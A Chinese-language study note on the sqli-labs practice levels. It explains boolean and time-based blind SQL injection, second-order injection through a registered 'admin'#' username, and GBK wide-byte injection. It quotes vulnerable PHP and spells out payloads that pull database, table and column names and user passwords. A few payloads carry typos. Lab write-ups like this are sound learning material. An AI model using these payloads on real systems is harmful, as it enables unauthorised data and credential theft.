盲注
布尔盲注
id=1' --+正常显示
id=1' and 1=1 --+ 正常显示
id=1' and 1=2 --+无显示
id=1' annnd 1=1 --+ 无显示,也无报错显示
第八关源代码:
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
可以看到只有true 和false两种显示结果,true就是显示you’re in……,false就什么也没有。
这种类型就要考虑盲注了。
基础知识:
length:返回长度
select length(database())=1#这样来判断数据库名的长度
left,right:
select left(database(),1)>'z'#判断数据库名左边第一个字符是不是大于z,left只有一个参数,1就是从左数一个,2就是从左数2个
substr:字符串子串,substr('字符串',开始,结束)
select substr (database(),1,1)>'a'#数据库名第一个字母开始到第一个结束,也就是第一个是不是大于a
ascii:字符串转换为ascii码
select ascii(substr(database,1,1))>97
char:ascii码转换为字符串
regexp:正则表达式
select '1' regexp '^[a-z]',看1是不是在后面正则表达式所限定的语句里面。
开始查询
数据库长度
id=1' and length(database())>5--+
试出数据库长度为8
数据库名
id=1' and ascii(substr(databse(),1,1))>97--+
试出数据库名为security
表的数量:
id=1' and ((select count(table_name) from information_schema.tables where table_schema=database())>1)--+
表的长度:
id=1' and ((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>1)--+
表名:
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97--+
列名:
id=1' and ascii(substr((select column_name from information_schema.columns where table_name=表名,limit 0,1),1,1))>97--+
数据
id=1' and ascii(substr((select password from users limit 0,1),1,1))<69 --+
时间盲注
通过页面的延迟时间是否注入成功。但需要注意的是,时间注入返回的页面信息一样是没有回显错误的页面,根据页面延迟时间来进行猜测判断。
基础知识
sleep:
select sleep(10):休眠十秒钟
if(表达式,表达式为真的结果,表达式为假的结果)
第九关源代码
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
不管输入结果正确与否,页面中都只会显示you’re in ……,这里可以通过时间盲注的方式,通过页面反应时间来进行判断。
判断数据库名长度:
id=1' and if (length(database())>5,sleep(5),0)--+
之后的判断字段都差不多,参考布尔盲注,将 if 函数第一个参数进行修改就可以了
数据库名的第一个字母
ascii(substr((database()),1,1))>97
或者:left(database(),1)>'a'
读取表名
id=1' and select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)="a",sleep(5),1)--+
或者
id=1' and select if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),sleep(2),1)--+
这样手工注入会很慢,如果把sleep函数换到第三个参数的位置,会加快速度,只有当条件语句正确时,页面才会延迟。
id=1' and if (length(database())>5,0,sleep(5))--+
二次注入
sqli第二十四关
有一个注册用户的选项
可以注册admin’的用户,对单引号没有做过滤
查看一些修改密码的源码
mysql_escape_string – 转义一个字符串用于 mysql_query
这里只对用户输入的参数做了转义, 对session中获取的参数没有做处理.
session: 会话 记录一系列状态,session记录在服务端。
session中的username是从数据库获得,而在注册账号时是可以往数据库中加入带有单引符号的username。源码中给出了update语句,可以看到如果构造username是带注释例如admin’#(发现admin’–+)就可以将后面的password给注释掉。就不需要知道原来的密码了。
先登录进去,然后改密码.
发现用的admin’#账号改的密码之后发现admin账户的密码被改变了。
#####宽字节注入
数据库编码为GBK时可以使用宽字节注入。
字符大小为一个字节,窄字节
字符大小为两个字节,宽字节
英文默认占一个字节,汉字占两个字节
\的编码%5c ,在前面加上%df,连成了%df%5c就组成了繁体字“连”,所以这时,单引号成功逃逸,爆出mysql错误。
若是不加上%df 用and1=1和and1=2测试的时候都是一样的没有区别
加上之后,单引号就能发挥自己的作用了。
and1=1语句返回正常时,and1=2语句返回错误。判断参数id存在sql注入漏洞,接着就是类似普通显错注入了。